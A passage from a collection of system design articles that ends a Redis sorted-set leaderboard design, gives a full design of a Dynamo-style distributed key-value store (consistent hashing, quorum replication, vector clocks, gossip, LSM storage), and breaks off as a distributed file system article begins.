lock = asyncio.Lock()

async def queue_score_update(player: str, delta: int) -> None:
    """Queue score update for batching."""
    async with lock:
        pending_updates[player] += delta

async def flush_updates() -> None:
    """Flush all pending updates to Redis."""
    async with lock:
        if not pending_updates:
            return

        pipe = r.pipeline()
        for player, delta in pending_updates.items():
            pipe.zincrby("leaderboard", delta, player)
        await pipe.execute()
        pending_updates.clear()

# Run flush every 100ms
async def batch_flusher():
    while True:
        await asyncio.sleep(0.1)
        await flush_updates()
```

**Trade-off**: 100ms staleness for 10x throughput improvement.

## Common Pitfalls

### Pitfall 1: Forgetting Tie-Breakers

**The mistake**: Using `ZREVRANK` directly without considering ties.

**Why it happens**: Works correctly in development with few players; ties are rare.

**The consequence**: In production, players with identical scores have arbitrary relative order that changes on Redis restart (hash table iteration order).

**The fix**: Always implement explicit tie-breaking via composite scores or secondary lookup.

### Pitfall 2: O(N) Leaderboard Renders

**The mistake**: Calling `ZREVRANGE 0 -1` to render the full leaderboard.

**Why it happens**: Simple implementation; works with small datasets.

**The consequence**: With 1M players, returns 1M elements. Network transfer, memory allocation, and client rendering collapse.

**The fix**: Always paginate: `ZREVRANGE start end`. Default to top 100; lazy-load on scroll.

### Pitfall 3: Cross-Shard Rank Queries

**The mistake**: Querying global rank across partitioned leaderboards on every request.

**Why it happens**: Naive implementation of `get_global_rank` sums counts from all shards.

**The consequence**: O(shards) Redis calls per rank query. At 100 shards, 100 round-trips per request.

**The fix**: Cache shard counts; update asynchronously. Or pre-compute global ranks for active players periodically.

### Pitfall 4: Missing TTL on Time-Windowed Leaderboards

**The mistake**: Creating daily/weekly leaderboards without expiration.

**Why it happens**: Focus on current functionality; cleanup deferred.

**The consequence**: Unbounded memory growth. After a year: 365 daily + 52 weekly leaderboards consuming GB of memory.

**The fix**: Set TTL at creation time. Use key naming conventions that include the date for easy cleanup: `leaderboard:daily:20240115`.

### Pitfall 5: Atomic Updates Across Multiple Leaderboards

**The mistake**: Updating daily, weekly, and all-time leaderboards in separate commands.

**Why it happens**: Simpler code; Redis transactions seem overkill.

**The consequence**: Partial failure leaves leaderboards inconsistent. Player appears in all-time but not daily.

**The fix**: Use `MULTI/EXEC` transactions or Lua scripts for atomic multi-key updates.

## Real-World Examples

### Gaming Platforms: PlayFab (Microsoft)

**Architecture**: Time-versioned statistics with automatic reset.

- Weekly resets at midnight UTC every Monday
- Monthly resets at midnight UTC on the first
- Leaderboard versions are preserved for historical queries

**Key design**: Statistics are reset, not deleted. Previous version remains queryable via `statistic_version` parameter.

### Google Play Games Services

**Automatic time windows**: Every leaderboard created automatically has daily, weekly, and all-time versions.

- Daily: Reset at midnight PDT (UTC-7)
- Weekly: Reset Saturday midnight to Sunday

**Key design**: No additional configuration required. Game developers get time-windowed leaderboards "for free" with the SDK.

### Netflix (Counter Abstraction)

**Hybrid consistency model** applied to leaderboard-like counters:

- **Best-Effort Regional**: EVCache only, sub-millisecond latency
- **Eventual Global**: Event log + rollup, single-digit ms
- **Accurate Global**: Pre-aggregated total + live delta

**Key insight**: Different leaderboards (engagement metrics vs. competitive rankings) need different consistency levels.

## Conclusion

Leaderboard design balances ranking accuracy against latency and scale. Redis sorted sets provide O(log N) operations that relational databases cannot match for real-time ranking. The key decisions are:

1. **Ranking semantics**: Choose dense, sparse, or unique ranking based on how ties should affect positions
2. **Tie-breaking**: Composite score encoding handles most cases; secondary lookups when full precision matters
3. **Time partitioning**: Separate sorted sets per time window with TTL for automatic cleanup
4. **Scaling**: Score-range partitioning for hyperscale; approximate rankings for casual tiers

For most applications, a single Redis sorted set with composite scores (score + reversed timestamp) and time-windowed variants handles millions of players with sub-millisecond latency. Scale beyond 100M requires application-level sharding with careful attention to cross-shard rank computation.

## Appendix

### Prerequisites

- Understanding of Redis data types (strings, hashes, sorted sets)
- Familiarity with O(log N) data structures (skip lists, balanced trees)
- Basic distributed systems concepts (partitioning, replication)

### Terminology

- **ZSET (Sorted Set)**: Redis data type storing unique members with associated scores, ordered by score
- **Skip list**: Probabilistic data structure enabling O(log N) search, insert, and delete
- **Dense rank**: Ranking where ties share a rank and subsequent ranks are consecutive (1, 1, 2)
- **Sparse rank**: Ranking where ties share a rank but subsequent ranks skip positions (1, 1, 3)
- **Score-range partitioning**: Sharding strategy assigning members to shards based on score brackets
- **Composite score**: Single numeric value encoding multiple sort criteria (e.g., score + timestamp)

### Summary

- Redis sorted sets provide O(log N) ranking operations via skip list + hash table dual structure
- Traditional database ranking queries are O(N²)—35 seconds for 50M rows
- Tie-breaking requires explicit strategy: composite scores, secondary lookups, or member encoding
- Time-windowed leaderboards use separate sorted sets with TTL for automatic cleanup
- Scaling beyond 100M entries requires score-range partitioning or approximate percentile buckets
- Always implement pagination for leaderboard renders; never return unbounded results

### References

- [Redis Sorted Sets Documentation](https://redis.io/docs/latest/develop/data-types/sorted-sets/) - Official data type reference and command list
- [ZADD Command Reference](https://redis.io/docs/latest/commands/zadd/) - Time complexity and options (NX, XX, GT, LT)
- [ZRANK / ZREVRANK Command Reference](https://redis.io/docs/latest/commands/zrank/) - Rank retrieval behavior and WITHSCORE option
- [Building a Real-Time Gaming Leaderboard with Amazon ElastiCache for Redis](https://aws.amazon.com/blogs/database/building-a-real-time-gaming-leaderboard-with-amazon-elasticache-for-redis/) - AWS reference architecture
- [Leaderboard System Design](https://systemdesign.one/leaderboard-system-design/) - Comprehensive design patterns and API design
- [Using Resettable Statistics and Leaderboards - PlayFab](https://learn.microsoft.com/en-us/gaming/playfab/community/leaderboards/tournaments-leaderboards/using-resettable-statistics-and-leaderboards) - Time-versioned leaderboard implementation
- [Google Play Games Services Leaderboards](https://developers.google.com/games/services/common/concepts/leaderboards) - Automatic daily/weekly/all-time variants
- [Fenwick Tree vs Segment Tree](https://www.geeksforgeeks.org/dsa/fenwick-tree-vs-segment-tree/) - Alternative data structures for counting queries
- [Leaderboard Tie-breaker Sorted by Time](https://medium.com/@shawnpengtw/leaderboard-tie-breaker-sorted-by-time-6279ae217920) - Composite score encoding techniques

---

## Design a Distributed Key-Value Store

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-key-value-store
**Category:** System Design / System Design Problems
**Description:** A distributed key-value store provides simple get/put semantics while handling the complexities of partitioning, replication, and failure recovery across a cluster of machines. This design explores the architectural decisions behind systems like Amazon Dynamo, Apache Cassandra, and Riak—AP systems that prioritize availability and partition tolerance over strong consistency. We also contrast with CP alternatives like etcd for scenarios requiring linearizability.

# Design a Distributed Key-Value Store

A distributed key-value store provides simple get/put semantics while handling the complexities of partitioning, replication, and failure recovery across a cluster of machines. This design explores the architectural decisions behind systems like Amazon Dynamo, Apache Cassandra, and Riak—AP systems that prioritize availability and partition tolerance over strong consistency. We also contrast with CP alternatives like etcd for scenarios requiring linearizability.

<figure>

![High-level architecture: clients contact any node as coordinator, which routes to the correct replicas based on consistent hashing. Each node uses an LSM-tree storage engine.](./high-level-architecture-clients-contact-any-node-as-coordinator-which-routes-to-.svg)

<figcaption>High-level architecture: clients contact any node as coordinator, which routes to the correct replicas based on consistent hashing. Each node uses an LSM-tree storage engine.</figcaption>
</figure>

## Abstract

A distributed key-value store is fundamentally about **choosing where to sit on the CAP spectrum** and then implementing the mechanisms to deliver that choice consistently:

- **AP systems** (Dynamo, Cassandra, Riak): Accept eventual consistency in exchange for always-on availability. Use leaderless replication, sloppy quorums, and conflict resolution (vector clocks or LWW).
- **CP systems** (etcd, Consul, ZooKeeper): Sacrifice availability during partitions to guarantee linearizability. Use leader-based consensus (Raft/Paxos).

The core mechanisms are:

1. **Consistent hashing with virtual nodes** distributes data and enables incremental scaling (only k/n keys move when adding a node)
2. **Quorum replication** (R + W > N) provides tunable consistency-availability tradeoffs
3. **Vector clocks or LWW timestamps** detect and resolve concurrent writes
4. **Gossip protocols** propagate cluster membership and failure detection
5. **LSM-tree storage** optimizes for write-heavy workloads with background compaction

## Requirements

### Functional Requirements

| Requirement       | Priority     | Notes                                               |
| ----------------- | ------------ | --------------------------------------------------- |
| `put(key, value)` | Core         | Store a value, return success/version               |
| `get(key)`        | Core         | Retrieve value(s), handle conflicts                 |
| `delete(key)`     | Core         | Tombstone-based deletion                            |
| Range queries     | Extended     | Only if ordered storage (not covered in AP designs) |
| TTL expiration    | Extended     | Automatic key expiry                                |
| Transactions      | Out of scope | Requires coordination, changes CAP position         |

### Non-Functional Requirements

| Requirement   | Target                       | Rationale                                |
| ------------- | ---------------------------- | ---------------------------------------- |
| Availability  | 99.99%                       | Writes must succeed even during failures |
| Write latency | p99 < 10ms                   | Local disk + async replication           |
| Read latency  | p99 < 5ms                    | Cache hits, single disk seek             |
| Throughput    | 100K+ ops/sec per node       | LSM-tree optimized for writes            |
| Durability    | No acknowledged write lost   | WAL before acknowledgment                |
| Consistency   | Tunable (eventual to strong) | Application chooses per-operation        |

### Scale Estimation

**Cluster sizing example for 10TB dataset:**

```
Data size: 10 TB
Replication factor: 3
Total storage needed: 30 TB

Per-node capacity: 2 TB (leaving headroom for compaction)
Nodes required: 30 TB / 2 TB = 15 nodes

Traffic assumptions:
- 80% reads, 20% writes
- Average value size: 1 KB
- Target: 100K ops/sec total

Per-node throughput: 100K / 15 ≈ 6,700 ops/sec
- Reads: 5,400 ops/sec
- Writes: 1,300 ops/sec
```

## Design Paths

### Path A: AP with Leaderless Replication (Dynamo Model)

**Best when:**

- Availability is paramount (e-commerce carts, session stores)
- Application can handle conflict resolution
- Writes must succeed even during network partitions

**Architecture:**

- All nodes are peers—no leader election
- Any node can coordinate any request
- Replication is synchronous to quorum, async to remaining replicas
- Conflicts detected via vector clocks or resolved via LWW

**Trade-offs:**

- Writes always succeed (to any available quorum)
- No single point of failure
- Application must handle conflicting versions
- Weaker consistency guarantees

**Real-world examples:** Amazon Dynamo (shopping cart), Riak, Cassandra (with eventual consistency)

### Path B: CP with Leader-Based Consensus (Raft/Paxos)

**Best when:**

- Strong consistency required (configuration stores, coordination)
- Reads must return the latest write
- Can tolerate unavailability during leader election

**Architecture:**

- Single leader handles all writes
- Raft/Paxos ensures log replication before acknowledgment
- Leader election on failure (typically 1-10 seconds)

**Trade-offs:**

- Linearizable reads and writes
- Unavailable during leader election
- Write throughput limited by leader
- Simpler conflict model (no concurrent writes)

**Real-world examples:** etcd (Kubernetes), Consul, ZooKeeper

### Path Comparison

| Factor             | AP (Dynamo)              | CP (Raft)                     |
| ------------------ | ------------------------ | ----------------------------- |
| Write availability | Always (to quorum)       | Unavailable during election   |
| Read consistency   | Eventual or quorum       | Linearizable                  |
| Conflict handling  | Vector clocks/LWW        | None (single writer)          |
| Latency            | Lower (no consensus)     | Higher (consensus round-trip) |
| Throughput         | Higher (any node writes) | Lower (leader bottleneck)     |
| Cluster size       | 100s-1000s nodes         | 3-7 nodes typical             |
| Use case           | User data, caches        | Config, coordination, locks   |

### This Article's Focus

This article focuses on **Path A (AP/Dynamo model)** because:

1. Most key-value workloads prioritize availability over strong consistency
2. The techniques (consistent hashing, vector clocks, gossip) are more complex and worth detailed examination
3. CP systems (etcd, Consul) have well-documented Raft implementations

For CP key-value store design, see etcd's architecture documentation and the Raft paper.

## High-Level Design

### Component Overview

<figure>

![Component interactions: coordinator routes requests, gossip maintains membership, storage engine persists data, anti-entropy mechanisms ensure replica convergence.](./component-interactions-coordinator-routes-requests-gossip-maintains-membership-s.svg)

<figcaption>Component interactions: coordinator routes requests, gossip maintains membership, storage engine persists data, anti-entropy mechanisms ensure replica convergence.</figcaption>
</figure>

### Request Flow

**Write path:**

1. Client SDK hashes key, identifies coordinator node
2. Coordinator determines N replica nodes from preference list
3. Coordinator sends write to all N replicas in parallel
4. Each replica: writes to WAL → updates memtable → acknowledges
5. Coordinator waits for W acknowledgments
6. Returns success to client (remaining replicas receive async)

**Read path:**

1. Client SDK hashes key, contacts coordinator
2. Coordinator sends read to all N replicas in parallel
3. Coordinator waits for R responses
4. If versions conflict: return all versions (or resolve via LWW)
5. Trigger read repair if replicas diverged

## Data Partitioning

### Consistent Hashing

Consistent hashing maps both keys and nodes to positions on a hash ring (typically 0 to 2^128-1 using MD5 or 2^64-1 using xxHash). A key is stored on the first N nodes clockwise from its hash position.

**Why consistent hashing?**

When nodes join or leave, only **k/n** keys need to move (k = total keys, n = nodes). With naive modulo hashing, nearly all keys would remap.

```
Traditional: hash(key) % num_nodes  → Node changes cause ~100% key movement
Consistent:  next_node(hash(key))   → Node changes cause ~1/n key movement
```

### Virtual Nodes (vnodes)

Physical nodes own multiple positions on the ring. Each position is a "virtual node" responsible for a range of the hash space.

**Design rationale:**

1. **Load balancing**: A single physical node token can create hotspots if keys cluster. Virtual nodes spread load.
2. **Heterogeneous hardware**: Assign more vnodes to powerful machines.
3. **Faster recovery**: When a node fails, its vnodes are distributed across many physical nodes, enabling parallel recovery.

**Configuration trade-offs:**

| vnodes per node        | Pros                                   | Cons                                  |
| ---------------------- | -------------------------------------- | ------------------------------------- |
| 1 (legacy)             | Fewer ring neighbors, simpler          | Uneven distribution, slow rebalancing |
| 16 (modern default)    | Good balance, deterministic allocation | Moderate neighbor count               |
| 256 (legacy Cassandra) | Fine-grained distribution              | High memory overhead, slow streaming  |

Cassandra 3.x+ defaults to 16 vnodes with deterministic token allocation, down from 256 random tokens in earlier versions. The reduction improves repair and streaming performance while maintaining adequate distribution.

### Replication Strategy

Keys are replicated to N consecutive nodes on the ring (the "preference list"). With virtual nodes, consecutive ring positions may map to the same physical node, so the preference list skips to ensure N distinct physical nodes.

**Replication factor selection:**

| RF  | Fault tolerance | Storage overhead | Typical use             |
| --- | --------------- | ---------------- | ----------------------- |
| 1   | None            | 1x               | Caches, ephemeral data  |
| 3   | 1 node failure  | 3x               | Standard production     |
| 5   | 2 node failures | 5x               | Critical data, cross-DC |

**Multi-datacenter replication:**

Cassandra's `NetworkTopologyStrategy` places replicas across racks and datacenters:

```
Replication settings:
  dc1: 3 replicas (across 3 racks)
  dc2: 3 replicas (across 3 racks)

Total replicas: 6
Rack-aware placement prevents correlated failures
```

## Quorum Reads and Writes

### Quorum Formula

For a replication factor N, if R (read replicas) + W (write replicas) > N, reads will see the latest write:

```
R + W > N  →  Overlap guarantees at least one replica has latest write

Example with N=3:
- R=2, W=2: Standard quorum (R+W=4 > 3)
- R=1, W=3: Write-heavy (all replicas must ack writes)
- R=3, W=1: Read-heavy (fast writes, consistent reads)
```

**Why this works:** With W=2 and R=2 on N=3 replicas, a write reaches at least 2 nodes. A subsequent read contacts at least 2 nodes. Since 2+2 > 3, at least one node in the read set participated in the write.

### Consistency Levels (Cassandra Model)

| Level        | Nodes contacted | Use case                                   |
| ------------ | --------------- | ------------------------------------------ |
| ONE          | 1               | Lowest latency, highest availability       |
| QUORUM       | ⌊N/2⌋ + 1       | Standard consistency                       |
| LOCAL_QUORUM | ⌊local_N/2⌋ + 1 | Cross-DC deployments                       |
| ALL          | N               | Strongest consistency, lowest availability |

**Operational guidance:**

- Use QUORUM for most operations
- Use LOCAL_QUORUM for latency-sensitive cross-DC reads
- Avoid ALL in production (single node failure blocks operations)
- ONE is acceptable for time-series data where some loss is tolerable

### Sloppy Quorum and Hinted Handoff

**Problem:** Strict quorum requires specific replica nodes. If one is down, writes fail.

**Sloppy quorum solution:** Write to any N healthy nodes from an extended preference list. If the designated replica is down, write to the next available node with a "hint" to forward later.

<figure>

![Sloppy quorum: when replica B is unavailable, the coordinator writes to node D with a hint. When B recovers, D forwards the data.](./sloppy-quorum-when-replica-b-is-unavailable-the-coordinator-writes-to-node-d-wit.svg)

<figcaption>Sloppy quorum: when replica B is unavailable, the coordinator writes to node D with a hint. When B recovers, D forwards the data.</figcaption>
</figure>

**Hint storage limits:**

Cassandra defaults to 3 hours (`max_hint_window_in_ms`). Hints older than this are discarded, requiring full repair to restore consistency. This prevents unbounded hint growth during extended outages.

**Trade-off:** Sloppy quorum improves availability but temporarily violates the quorum guarantee. During the hint window, reads may miss recent writes if they don't contact the hint-holding node.

## Conflict Detection and Resolution

### The Concurrent Write Problem

Without a single leader, two clients can write to the same key simultaneously via different coordinators. Both writes may succeed (each reaching W replicas), but replicas now have different values.

### Vector Clocks

Vector clocks track causal relationships between versions. Each write increments a (node, counter) pair.

```
Initial state: {} (empty)

Client A writes via Node1: [(Node1, 1)]
Client B reads [(Node1, 1)], writes via Node2: [(Node1, 1), (Node2, 1)]
Client C reads [(Node1, 1)], writes via Node3: [(Node1, 1), (Node3, 1)]

Now we have concurrent versions:
  V1: [(Node1, 1), (Node2, 1)]  - Client B's write
  V2: [(Node1, 1), (Node3, 1)]  - Client C's write

Neither dominates the other → CONFLICT
```

**Detecting relationships:**

- **V1 dominates V2:** Every (node, counter) in V2 is ≤ the corresponding entry in V1
- **Concurrent:** Neither dominates → conflict, return both versions

**Resolution strategies:**

1. **Application-level:** Return both versions to client, let application merge (Amazon shopping cart: union of items)
2. **Last-Write-Wins (LWW):** Use wall-clock timestamps, discard older version
3. **CRDTs:** Use conflict-free data structures that merge automatically

### Vector Clock Truncation

Vector clocks grow unboundedly as more nodes participate in writes. Dynamo truncates at ~10 entries, removing the oldest (node, counter) pair based on timestamp.

**Risk:** Truncation can lose causality information, potentially treating causally-related versions as concurrent. In practice, Amazon reported this rarely caused problems because most keys have limited writer diversity.

### Last-Write-Wins (LWW)

Cassandra uses LWW with microsecond timestamps instead of vector clocks:

```
Write 1: value="A", timestamp=1000
Write 2: value="B", timestamp=1001

Resolution: value="B" wins (higher timestamp)
```

**Advantages:**

- Simpler implementation
- No vector clock growth
- Constant metadata size

**Risks:**

- Requires synchronized clocks (NTP)
- Clock skew can cause "older" writes to win
- Concurrent writes with same timestamp: arbitrary winner (lowest value bytes)

**Mitigation:** Use NTP with tight synchronization (< 1ms skew). Cassandra's `commitlog_sync_period_in_ms` and client timestamps can be tuned for clock precision requirements.

## Failure Detection

### Gossip Protocol

Nodes exchange state information periodically with random peers. Information propagates exponentially—reaching all nodes in O(log n) rounds.

**Gossip protocol details:**

1. Every second, each node picks a random peer
2. Exchanges: membership list, heartbeat counters, application state
3. Merges received state with local state (higher version wins)

**Convergence:** With n nodes, gossip reaches all nodes in approximately log₂(n) rounds. A 1,000-node cluster converges in ~10 seconds.

### Phi Accrual Failure Detector

Rather than binary alive/dead, phi accrual calculates a "suspicion level" (φ) based on heartbeat arrival times:

```
φ = -log₁₀(1 - F(time_since_last_heartbeat))

where F is the cumulative distribution of observed heartbeat intervals
```

**Threshold configuration:**

| φ threshold | Meaning              | Use case                       |
| ----------- | -------------------- | ------------------------------ |
| 5           | Aggressive detection | Low-latency networks           |
| 8           | Default              | Standard deployments           |
| 10-12       | Conservative         | AWS/cloud (network congestion) |

At φ = 8, a node can be unresponsive for ~18 seconds before being marked dead. This prevents false positives from transient network issues.

**Why phi accrual over fixed timeout?**

Fixed timeouts must be tuned per-environment. Phi accrual adapts to observed network characteristics—the same threshold works across different latency profiles.

## Anti-Entropy Mechanisms

### Merkle Trees for Replica Synchronization

Merkle trees enable efficient comparison of large datasets. Each leaf is a hash of a data range; internal nodes are hashes of children.

<figure>

![Merkle tree: comparing root hashes identifies if replicas differ. Traversing mismatched branches locates specific divergent key ranges.](./merkle-tree-comparing-root-hashes-identifies-if-replicas-differ-traversing-misma.svg)

<figcaption>Merkle tree: comparing root hashes identifies if replicas differ. Traversing mismatched branches locates specific divergent key ranges.</figcaption>
</figure>

**Synchronization algorithm:**

1. Compare root hashes between replicas
2. If equal: replicas are identical
3. If different: recursively compare child hashes
4. Only exchange data for leaf nodes with different hashes

**Efficiency:** Synchronization is O(log n) comparisons, transferring data proportional to differences rather than total size.

**Riak's implementation:** Maintains persistent on-disk Merkle trees, regenerated weekly by default. Real-time updates to trees occur as writes happen.

### Read Repair

When a read returns divergent values from replicas, the coordinator triggers repair:

1. Determine winning value (latest vector clock or timestamp)
2. Asynchronously write winning value to stale replicas
3. Return result to client (doesn't block on repair)

**Configuration:** Cassandra historically used `dclocal_read_repair_chance = 0.1` (10% of reads trigger repair). Version 4.0+ uses table-level settings.

### Full Anti-Entropy Repair

Background process that:

1. Builds Merkle tree for each token range
2. Compares with replica Merkle trees
3. Streams missing/divergent data

**Frequency:** Run within `gc_grace_seconds` (default 10 days in Cassandra) to prevent zombie data resurrection from tombstones.

## Storage Engine: LSM Tree

### Why LSM Tree for Write-Heavy Workloads

LSM (Log-Structured Merge) trees convert random writes to sequential I/O:

1. All writes go to in-memory buffer (memtable)
2. When full, memtable flushes to immutable on-disk file (SSTable)
3. Background compaction merges SSTables

**Trade-off comparison:**

| Aspect              | LSM Tree                    | B-Tree                    |
| ------------------- | --------------------------- | ------------------------- |
| Write amplification | 10-30x (compaction)         | 2-4x (page splits)        |
| Read amplification  | Higher (multiple SSTables)  | Lower (single tree)       |
| Space amplification | Lower (no fragmentation)    | Higher (50-67% page fill) |
| Write throughput    | Higher (sequential I/O)     | Lower (random I/O)        |
| Read latency        | Higher (bloom filters help) | Lower (single lookup)     |

### Write Path Details

<figure>

![Write path: WAL ensures durability, memtable provides fast writes, flush creates immutable SSTables.](./write-path-wal-ensures-durability-memtable-provides-fast-writes-flush-creates-im.svg)

<figcaption>Write path: WAL ensures durability, memtable provides fast writes, flush creates immutable SSTables.</figcaption>
</figure>

**Memtable sizing:** Cassandra allocates 1/4 of heap to memtables by default. Larger memtables reduce flush frequency but increase recovery time after crashes.

### Read Path Details

1. Check memtable (in-memory, fast)
2. Check each SSTable from newest to oldest
3. Use bloom filters to skip SSTables that definitely don't contain the key
4. Merge results if key exists in multiple SSTables

**Bloom filter tuning:** False positive rate vs. memory trade-off. Cassandra defaults to 1% FP rate, using ~10 bits per key.

### Compaction Strategies

Compaction merges SSTables to:

- Reclaim space from deleted/overwritten keys
- Reduce read amplification (fewer files to check)
- Enforce tombstone expiration

**Strategy comparison:**

| Strategy           | SSTable sizing   | Read amp | Write amp | Best for          |
| ------------------ | ---------------- | -------- | --------- | ----------------- |
| Size-Tiered (STCS) | Variable buckets | Higher   | Lower     | Write-heavy       |
| Leveled (LCS)      | Fixed 160MB      | Lower    | Higher    | Read-heavy        |
| Time-Window (TWCS) | Time buckets     | Moderate | Low       | Time-series + TTL |

**STCS mechanics:** Groups SSTables of similar size into buckets. When bucket has 4+ files (`min_threshold`), compact into one larger file.

**LCS mechanics:** Organizes SSTables into levels (L0, L1, L2...). Each level is 10x larger than previous. Compaction ensures 90% of reads touch at most one SSTable per level.

## API Design

### Core Operations

```
PUT /kv/{key}
Content-Type: application/octet-stream
X-Consistency-Level: QUORUM
X-Client-Timestamp: 1699900000000

<binary value>

Response:
201 Created
X-Version: [(node1,5),(node2,3)]
```

```
GET /kv/{key}
X-Consistency-Level: QUORUM

Response (single version):
200 OK
X-Version: [(node1,5),(node2,3)]
<binary value>

Response (conflict):
300 Multiple Choices
Content-Type: multipart/mixed

--boundary
X-Version: [(node1,5),(node2,3)]
<value A>
--boundary
X-Version: [(node1,4),(node3,2)]
<value B>
```

```
DELETE /kv/{key}
X-Consistency-Level: QUORUM

Response:
204 No Content
```

### Pagination for Key Listing

```
GET /kv?prefix=user:&limit=100&cursor=dXNlcjo1MDA=

Response:
200 OK
{
  "keys": ["user:501", "user:502", ...],
  "next_cursor": "dXNlcjo2MDA=",
  "has_more": true
}
```

### Error Responses

| Status | Meaning                                                   |
| ------ | --------------------------------------------------------- |
| 400    | Invalid key (too long, invalid characters)                |
| 404    | Key not found                                             |
| 409    | Write conflict (for conditional writes)                   |
| 503    | Insufficient replicas available for requested consistency |
| 504    | Timeout waiting for replica responses                     |

## Infrastructure Design

### Cloud-Agnostic Components

| Component         | Purpose             | Options                     |
| ----------------- | ------------------- | --------------------------- |
| Compute           | Node processes      | VMs, containers, bare metal |
| Block storage     | SSTable persistence | Local SSD, network SSD      |
| Object storage    | Backups, cold tier  | S3-compatible               |
| Load balancer     | Client distribution | HAProxy, cloud LB           |
| Service discovery | Node membership     | Gossip (built-in), Consul   |

### AWS Reference Architecture

<figure>

![AWS deployment: i3 instances with local NVMe for low-latency storage, spread across 3 AZs for fault tolerance, S3 for backups.](./aws-deployment-i3-instances-with-local-nvme-for-low-latency-storage-spread-acros.svg)

<figcaption>AWS deployment: i3 instances with local NVMe for low-latency storage, spread across 3 AZs for fault tolerance, S3 for backups.</figcaption>
</figure>

**Instance selection:**

| Instance        | Storage    | Memory | Use case                   |
| --------------- | ---------- | ------ | -------------------------- |
| i3.xlarge       | 950GB NVMe | 30.5GB | Standard nodes             |
| i3.2xlarge      | 1.9TB NVMe | 61GB   | High-capacity nodes        |
| r5.xlarge + gp3 | EBS        | 32GB   | Lower cost, higher latency |

**Why i3 instances?** Local NVMe provides consistent sub-millisecond latency. EBS adds network variability and higher p99 latencies.

### Managed Alternatives

| Build vs Buy | Option                    | Trade-off                                  |
| ------------ | ------------------------- | ------------------------------------------ |
| Self-hosted  | Cassandra, ScyllaDB, Riak | Full control, operational burden           |
| Managed      | Amazon DynamoDB           | No ops, vendor lock-in, cost at scale      |
| Managed      | Azure Cosmos DB           | Multi-model, global distribution           |
| Managed      | DataStax Astra            | Managed Cassandra, Cassandra compatibility |

**DynamoDB note:** Despite the name, DynamoDB's architecture differs significantly from the Dynamo paper. It uses Paxos-based replication with a leader, offering strong consistency as an option. The 2022 USENIX paper details these differences.

## Conclusion

Designing a distributed key-value store requires explicit CAP positioning. This design chose AP (availability + partition tolerance) with tunable consistency, following the Dynamo model:

**Key architectural decisions:**

1. **Consistent hashing with vnodes** for incremental scaling and load distribution
2. **Quorum replication** (N=3, R=2, W=2 default) for configurable consistency
3. **Sloppy quorum + hinted handoff** to maintain availability during failures
4. **LWW timestamps** for conflict resolution (simpler than vector clocks, requires NTP)
5. **LSM-tree storage** for write-optimized performance with bloom filters for reads

**What this design sacrifices:**

- Strong consistency (use etcd/Consul if required)
- Range queries (add secondary index or use ordered storage like Bigtable)
- Multi-key transactions (requires coordination, changes CAP position)

**When to choose this design:**

- Session stores, shopping carts, user preferences
- Cache layers with persistence
- Time-series data (with TWCS compaction)
- Any workload where availability > consistency

## Appendix

### Prerequisites

- Distributed systems fundamentals: CAP theorem, consistency models
- Storage concepts: B-trees, write-ahead logging, compaction
- Networking: gossip protocols, failure detection

### Terminology

| Term                   | Definition                                                                                  |
| ---------------------- | ------------------------------------------------------------------------------------------- |
| **Consistent hashing** | Hash function mapping keys and nodes to a ring, minimizing key movement on topology changes |
| **Vector clock**       | List of (node, counter) pairs tracking causal ordering between versions                     |
| **Quorum**             | Minimum replicas (R or W) that must respond for an operation to succeed                     |
| **Sloppy quorum**      | Quorum satisfied by any available nodes, not necessarily designated replicas                |
| **Hinted handoff**     | Temporary storage of writes for unavailable replicas, forwarded on recovery                 |
| **SSTable**            | Sorted String Table—immutable, sorted key-value file on disk                                |
| **Memtable**           | In-memory buffer for recent writes, flushed to SSTables periodically                        |
| **Compaction**         | Background process merging SSTables to reclaim space and reduce read amplification          |
| **Tombstone**          | Marker indicating a deleted key, expires after gc_grace_seconds                             |
| **Anti-entropy**       | Background synchronization to repair replica divergence                                     |

### Summary

- Distributed KV stores sit on a CAP spectrum: AP (Dynamo model) vs CP (Raft model)
- Consistent hashing + vnodes enables horizontal scaling with minimal data movement
- Quorum replication (R + W > N) provides tunable consistency
- Conflict resolution via vector clocks (causal tracking) or LWW (timestamp-based)
- Gossip + phi accrual failure detector maintains cluster membership
- LSM-tree storage optimizes write throughput; compaction strategy choice depends on workload
- Sloppy quorum + hinted handoff + Merkle tree repair ensure eventual convergence

### References

- [Amazon Dynamo Paper (2007)](https://www.allthingsdistributed.com/files/amazon-dynamo-sosp2007.pdf) - Original Dynamo design, quorum protocols, vector clocks
- [DynamoDB USENIX ATC'22 Paper](https://www.usenix.org/system/files/atc22-elhemali.pdf) - How DynamoDB differs from Dynamo
- [Apache Cassandra Architecture](https://cassandra.apache.org/doc/latest/cassandra/architecture/dynamo.html) - Dynamo-inspired design, consistency levels
- [Google Bigtable Paper (2006)](https://research.google/pubs/bigtable-a-distributed-storage-system-for-structured-data/) - CP alternative, SSTable format origin
- [Raft Consensus Paper](https://raft.github.io/raft.pdf) - Leader-based consensus for CP systems
- [Redis Cluster Specification](https://redis.io/docs/latest/operate/oss_and_stack/reference/cluster-spec/) - Hash slot approach vs consistent hashing
- [etcd Tuning Guide](https://etcd.io/docs/v3.4/tuning/) - Raft-based KV store configuration
- [Riak Documentation](https://docs.riak.com/riak/kv/latest/) - Active anti-entropy, Merkle trees
- [LSM Tree vs B-Tree Analysis (TiKV)](https://tikv.org/deep-dive/key-value-engine/b-tree-vs-lsm/) - Storage engine tradeoffs

---

## Design a Distributed File System

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-distributed-file-system
**Category:** System Design / System Design Problems
**Description:** A comprehensive system design for a distributed file system like GFS or HDFS covering metadata management, chunk storage, replication strategies, consistency models, and failure handling. This design addresses petabyte-scale storage with high throughput for batch processing workloads while maintaining fault tolerance across commodity hardware.

# Design a Distributed File System

A comprehensive system design for a distributed file system like GFS or HDFS covering metadata management, chunk storage, replication strategies, consistency models, and failure handling. This design addresses petabyte-scale storage with high throughput for batch processing workloads while maintaining fault tolerance across commodity hardware.

<figure>

![High-level architecture: Clients query the master for chunk locations, then read/write directly to chunk servers. Writes pipeline through replicas.](./high-level-architecture-clients-query-the-master-for-chunk-locations-then-read-w.svg)

<figcaption>High-level architecture: Clients query the master for chunk locations, then read/write directly to chunk servers. Writes pipeline through replicas.</figcaption>
</figure>

## Abstract

Distributed file systems solve the problem of storing and accessing files that exceed single-machine capacity while providing fault tolerance and high throughput. The core architectural tension is between **metadata scalability** (how many files can the system track) and **data throughput** (how fast can clients read/write).

**Core architectural decisions:**

| Decision            | Choice                    | Rationale                                                  |
